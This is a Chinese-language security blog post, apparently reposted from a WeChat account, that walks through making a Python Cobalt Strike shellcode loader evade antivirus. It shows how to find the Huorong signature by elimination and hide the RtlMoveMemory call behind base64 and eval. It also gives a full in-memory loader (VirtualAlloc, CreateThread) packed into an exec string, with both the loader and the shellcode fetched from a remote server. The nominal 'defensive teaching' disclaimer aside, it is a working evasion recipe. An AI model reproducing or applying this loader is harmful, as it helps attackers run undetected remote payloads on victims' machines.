【超详细 | Python】CS免杀-分离+混淆免杀思路

admin 2021年5月17日08:39:15评论1,135 views字数 2177阅读7分15秒阅读模式
【超详细 | Python】CS免杀-分离+混淆免杀思路
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚

混淆语句+分离免杀

特征码
杀软的静态扫描,基本是按照匹配特征码,根据哈希算法从病毒体中提取的病毒特征码,逐个与程序文件的md5比较。
但是呢程序的内容只要稍微微改动一点,md5值就会改变

所以杀软还有一种方法是通过模糊哈希算法 ,找出一段不会改变的程序作为特征码,匹配这段程序的就当木马病毒处理
loader加载器


这是网上python通用的shellcode loader
加载器原理请看这CS免杀-Shellcode Loader原理(python)
这个加载器我先将shellcode进行hex和base64编码分离放在了服务器端,所以静态查杀只查loader部分
【超详细 | Python】CS免杀-分离+混淆免杀思路
接下来就通过单步走找出特征码
我使用的pyinstaller将程序打包成exe
pyinstaller --noconsole --onefile test.py
上面加载器没任何处理,进行打包是会被火绒查杀的
【超详细 | Python】CS免杀-分离+混淆免杀思路

单步查杀
我们将第一条语句留着,其他的全部删除,打包exe发现没有查杀
【超详细 | Python】CS免杀-分离+混淆免杀思路

然后每次打包增加一条语句,直到发现进行了查杀
【超详细 | Python】CS免杀-分离+混淆免杀思路

该语句删除,其他的全部打包,发现不报病毒了
【超详细 | Python】CS免杀-分离+混淆免杀思路

找到特征码
到这我们可以确定,这段代码中包含着火绒的特征码
这是调用win的操作内存的语句
ctypes.windll.kernel32.RtlMoveMemory(          ctypes.c_int(ptr),          buf,          ctypes.c_int(len(shellcode)))
根据模糊哈希的意思呢,这个语句md5应该不会变,可这后面参数想咋变就咋变啊。

深入研究发现,特征码原来在前面,只要有RltMoveMemory这段字符就会查杀
所以确定RltMoveMemory这段字符就是特征码
【超详细 | Python】CS免杀-分离+混淆免杀思路
知道了特征码是啥,那就将它进行处理

混淆语句
有两种思路,一是换一个可以达到相同效果的函数,但我没找到,RltCopyMemory也会被查杀

另一种思路就是该字符明面上不出现在语句当中
直接将整个语句加密,用evalexec函数运行
【超详细 | Python】CS免杀-分离+混淆免杀思路
将上面语句base64转码,eval运行解码的语句
string = '''Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=='''eval(base64.b64decode(string))
明面上没有特征码了,所以就绕过火绒了
【超详细 | Python】CS免杀-分离+混淆免杀思路
这里的话基本是够用了。



但是!!


既然shellcode能放在服务器上,那我们的loader是否也可以尝试一下。。

这里eval函数不够用了,只能运行一条语句
换成exec函数,可以将Python代码用分号;连接起来运行
a = '''ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64;ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40));buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)));handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))'''
exec(a)
尝试可行
进行base64编码,放在我的服务器2.txt文件中
【超详细 | Python】CS免杀-分离+混淆免杀思路
最后查杀代码部分就剩这点了
【超详细 | Python】CS免杀-分离+混淆免杀思路
【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | Python】CS免杀-分离+混淆免杀思路

只要你服务器不被标记恶意主机
今就是天王老子来了也不敢说他是木马!!

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

走过路过的大佬们留个关注再走呗【超详细 | Python】CS免杀-分离+混淆免杀思路

往期文章有彩蛋哦【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | Python】CS免杀-分离+混淆免杀思路

本文始发于微信公众号(渗透Xiao白帽):【超详细 | Python】CS免杀-分离+混淆免杀思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月17日08:39:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【超详细 | Python】CS免杀-分离+混淆免杀思路http://cn-sec.com/archives/264396.html

发表评论

匿名网友 填写信息